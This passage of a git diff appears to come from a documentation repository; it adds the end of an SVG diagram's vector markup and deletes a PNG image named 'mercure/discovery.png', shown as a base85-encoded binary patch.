+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 9 L 25 13 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 11 L 24.45 11 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.45 11.25 L 24.95 11 L 24.45 10.75 Z M 24.45 11.25 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 130.550781 75.601562 L 311.449219 75.601562 L 311.449219 99 L 130.550781 99 Z M 130.550781 75.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="130.726562" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="140.448785" y="94.008681"/>
+  <use xlink:href="#glyph1-3" x="147.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-4" x="154.337674" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="158.782118" y="94.008681"/>
+  <use xlink:href="#glyph1-6" x="162.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-7" x="170.726562" y="94.008681"/>
+  <use xlink:href="#glyph1-8" x="177.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="186.00434" y="94.008681"/>
+  <use xlink:href="#glyph1-9" x="189.893229" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="194.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-10" x="197.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="204.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="211.282118" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="218.782118" y="94.008681"/>
+  <use xlink:href="#glyph1-11" x="222.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-12" x="227.393229" y="94.008681"/>
+  <use xlink:href="#glyph1-13" x="235.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-7" x="242.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-3" x="250.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-14" x="256.837674" y="94.008681"/>
+  <use xlink:href="#glyph1-10" x="259.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="265.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-15" x="269.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-12" x="275.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-16" x="282.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-17" x="294.615451" y="94.008681"/>
+  <use xlink:href="#glyph1-15" x="298.50434" y="94.008681"/>
+  <use xlink:href="#glyph1-18" x="304.893229" y="94.008681"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 13 C 8.134375 13 8 13.134375 8 13.3 L 8 14.7 C 8 14.865625 8.134375 15 8.3 15 L 13.7 15 C 13.865625 15 14 14.865625 14 14.7 L 14 13.3 C 14 13.134375 13.865625 13 13.7 13 Z M 8.3 13 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="52.816406" y="169.00217"/>
+  <use xlink:href="#glyph0-2" x="62.260851" y="169.00217"/>
+  <use xlink:href="#glyph0-3" x="67.816406" y="169.00217"/>
+  <use xlink:href="#glyph0-4" x="76.427517" y="169.00217"/>
+  <use xlink:href="#glyph0-5" x="88.371962" y="169.00217"/>
+  <use xlink:href="#glyph0-6" x="95.316406" y="169.00217"/>
+  <use xlink:href="#glyph0-2" x="103.64974" y="169.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 13 C 22.134375 13 22 13.134375 22 13.3 L 22 14.7 C 22 14.865625 22.134375 15 22.3 15 L 27.7 15 C 27.865625 15 28 14.865625 28 14.7 L 28 13.3 C 28 13.134375 27.865625 13 27.7 13 Z M 22.3 13 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="321.429688" y="169.00217"/>
+  <use xlink:href="#glyph0-8" x="329.763021" y="169.00217"/>
+  <use xlink:href="#glyph0-9" x="337.540799" y="169.00217"/>
+  <use xlink:href="#glyph0-10" x="344.763021" y="169.00217"/>
+  <use xlink:href="#glyph0-11" x="353.65191" y="169.00217"/>
+  <use xlink:href="#glyph0-5" x="358.096354" y="169.00217"/>
+  <use xlink:href="#glyph0-6" x="365.040799" y="169.00217"/>
+  <use xlink:href="#glyph0-2" x="373.374132" y="169.00217"/>
+  <use xlink:href="#glyph0-12" x="378.929688" y="169.00217"/>
+  <use xlink:href="#glyph0-6" x="386.707465" y="169.00217"/>
+  <use xlink:href="#glyph0-2" x="395.040799" y="169.00217"/>
+</g>
+</g>
+</svg>
diff --git a/_images/mercure/discovery.png b/_images/mercure/discovery.png
deleted file mode 100644
index 0ef38271de6c1fcf9c83d8cb0984181773da4919..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 176913
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
